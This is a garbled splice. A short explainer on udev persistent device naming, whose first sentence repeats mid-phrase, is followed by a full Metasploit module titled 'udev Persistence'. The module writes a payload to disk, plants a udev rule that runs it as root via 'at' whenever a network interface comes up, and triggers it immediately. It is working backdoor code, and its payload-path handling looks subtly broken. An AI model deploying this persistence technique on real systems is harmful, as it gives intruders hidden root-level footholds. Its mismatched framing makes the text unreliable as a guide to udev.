Udev persistence addresses the problem of inconsistent device naming in Udev persistence addresses the problem of inconsistent device naming in Linux. Without it, devices like `/dev/sdb` might swap names after a reboot or hotplug, breaking configurations and scripts.

Udev achieves persistence through *rules* (often in `/etc/udev/rules.d/`). These rules match unique, stable device attributes instead of volatile kernel-assigned names. Key attributes include `ID_FS_UUID` (for filesystems), `ID_SERIAL` (for storage devices), or `ID_PATH` (physical location).

When a rule matches, Udev creates a consistent symbolic link (e.g., `/dev/disk/by-uuid/...` or a custom `/dev/my_device`). This ensures your system reliably refers to the correct device every time, critical for stable mounts, scripts, and applications.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/udev_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'udev Persistence',
'Description' => %q{
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
It'll be executed with root privileges everytime a network interface other than l0 comes up.
Execution is triggered through at command, so it must be installed on the target.
},
'License' => MSF_LICENSE,
'Author' => [
'Julien Voisin'
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '\n"'
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2003-11-01', # udev release date
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'References' => [
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
['ATT&CK', Mitre::Attack::Technique::T1546_017_UDEV_RULES]
]
)
)
register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
OptString.new('UDEV_PATH', [false, 'Path to udev', '/lib/udev/rules.d/']),
OptString.new('UDEV_RULE', [false, 'Rule name for udev. Defaults to random']),
])
end

def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
return CheckCode::Safe("#{datastore['UDEV_PATH']} doesnt exist") unless exists?(datastore['UDEV_PATH'])
return CheckCode::Safe("#{datastore['UDEV_PATH']} isnt writable") unless writable?(datastore['UDEV_PATH'])

return CheckCode::Safe('at commmand not found') if get_at_command('').nil?

CheckCode::Appears('likely exploitable')
end

def get_at_command(payload_path)
return nil unless executable? '/usr/bin/at'

%(/usr/bin/at -M -f #{payload_path} now)
end

def install_persistence
udev_rule = datastore['UDEV_RULE'].blank? ? %(#{Rex::Text.rand_text_numeric(2)}-#{Rex::Text.rand_text_alphanumeric(8)}.rules) : datastore['UDEV_RULE']
backdoor_path = "#{datastore['UDEV_PATH']}/#{udev_rule}"
payload_path = "#{writable_dir}/#{(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(5..10))}"

if exists? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
end

if payload.arch.first == 'cmd'
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload.encoded}")
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
end
@clean_up_rc << "rm #{payload_path}\n"

print_good "#{payload_path} written"

fail_with(Failure::PayloadFailed, 'Failed to write UDEV file') unless write_file(backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_at_command(payload_path)}"))
@clean_up_rc << "rm #{backdoor_path}\n"

print_good "#{backdoor_path} written"

# need to trigger first rule manually
print_status 'Triggering udev rule'
cmd_exec('udevadm trigger -v --subsystem-match=net')
end
end